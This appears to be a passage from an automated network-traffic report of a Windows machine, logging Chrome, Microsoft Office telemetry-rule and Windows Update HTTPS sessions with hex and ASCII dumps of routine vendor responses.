2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700310,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-21 23:11:32 UTC	410	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-21 23:11:32 UTC	520	IN	Data Raw: 32 30 31 0d 0a 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: 201\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b)
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: 8000d;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49726	172.217.21.36	443	6848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 23:11:32 UTC	1034	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 23:11:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 23:11:32 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-21 23:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:31 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231131Z-174c587ffdfp4vpjhC1TEBybqw00000000f000000000fh8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 23:11:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231131Z-178bfbc474btrnf9hC1NYCb80g000000025g000000010c2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231131Z-174c587ffdf8fcgwhC1TEBnn7000000000s000000000fx2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231131Z-178bfbc474bw8bwphC1NYC38b4000000022g000000000c0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231133Z-15b8b599d882zv28hC1TEBdchn00000000cg0000000028f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:34 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231134Z-174c587ffdf89smkhC1TEB697s00000000r0000000008rg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:34 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49730	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:33 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Wd6wNsuXDrZyAcf&MD=dGHRz9N3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 23:11:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cee9f6ae-58ba-4cd8-bdc5-fcb34ba5c68e MS-RequestId: 725e9b0e-269f-474b-84b7-dd36d051ecc4 MS-CV: X8XJxENpiEyLTEAE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 23:11:33 GMT Connection: close Content-Length: 24490
